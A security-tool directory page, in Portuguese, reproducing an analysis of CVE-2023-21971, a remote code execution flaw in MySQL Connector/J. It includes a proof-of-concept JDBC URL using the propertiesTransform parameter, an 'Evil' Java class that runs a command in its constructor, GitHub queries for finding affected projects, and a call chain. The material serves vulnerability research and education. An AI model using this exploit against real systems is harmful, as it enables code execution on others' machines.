Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-21971_Analysis — CVE-2023-21971 Connector/J RCE Análise分析 | Kitploit
Ferramentas/GitHubGitHub/avento/cve-2023-21971_analysis
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHubavento/cve-2023-21971_analysis

CVE-2023-21971_Analysis

CVE-2023-21971 Connector/J RCE Análise分析

Ver Repositório
32há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-21971 Análise de RCE Connector/J

Referências

Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk

New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access

MYSQL JDBC反序列化解析 - 跳跳糖 (tttang.com)

Resumo da Vulnerabilidade

Vulnerabilidade nos produtos MySQL Connectors do Oracle MySQL (componente: Connector/J). As versões suportadas afetadas são 8.0.32 e anteriores. Uma vulnerabilidade de difícil exploração permite que um atacante com altas permissões, acessando a rede por meio de vários protocolos, comprometa o MySQL Connector. Um ataque bem-sucedido requer interação humana de outra pessoa além do atacante. Um ataque bem-sucedido a esta vulnerabilidade pode levar a uma capacidade não autorizada de fazer com que o MySQL Connector pare ou sofra travamentos repetidos frequentes (DOS completo), bem como atualização, inserção ou exclusão não autorizada de acesso a alguns dados acessíveis pelo MySQL Connector e acesso de leitura não autorizado a parte dos dados acessíveis pelo MySQL Connector.

Faixa de impacto:

  • afetado em 8.0.32 e anteriores

Consulta

Pesquise no Github por projetos que dependem do mysql-connector-java.

root@kitploit:~
filename:pom.xml mysql-connector-java

Pesquise no Github para encontrar projetos que dependem de uma versão específica do mysql-connector-java.

root@kitploit:~
filename:pom.xml mysql-connector-java 8.0.32

PoC

root@kitploit:~
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");

Análise

src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java

image-20230607113458073

Aqui é claramente possível controlar o propertiesTransformClassName, e durante a chamada de newInstance(), o construtor sem argumentos será automaticamente invocado.

root@kitploit:~
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();

Claramente é possível criar um Demo de verificação.

Ambiente de Reprodução

Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)

root@kitploit:~
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.32</version>
</dependency>

Aqui, baixamos o arquivo Jar diretamente e o importamos como Bibliotecas no projeto IDEA.

Test.java

root@kitploit:~
import java.sql.Connection;
import java.sql.DriverManager;

public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
    }
}

com.jeyiuwai.Evil

root@kitploit:~
package com.jeyiuwai;

import com.mysql.cj.conf.ConnectionPropertiesTransform;

import java.io.IOException;
import java.util.Properties;

public class Evil implements ConnectionPropertiesTransform {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public Properties transformProperties(Properties properties) {
        return null;
    }
}

image-20230607144859000

Mas a classe Evil foi criada localmente, e nenhuma das dependências possui uma classe que implemente a interface ConnectionPropertiesTransform. Seria esta uma vulnerabilidade de aproveitamento limitado?

image-20230607145253977

Através de experimentos, descobrimos que, na verdade, a classe Evil não precisa implementar a interface ConnectionPropertiesTransform para executar comandos.

image-20230607145521241

Cadeia de Chamadas

root@kitploit:~
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test
Baixar ferramenta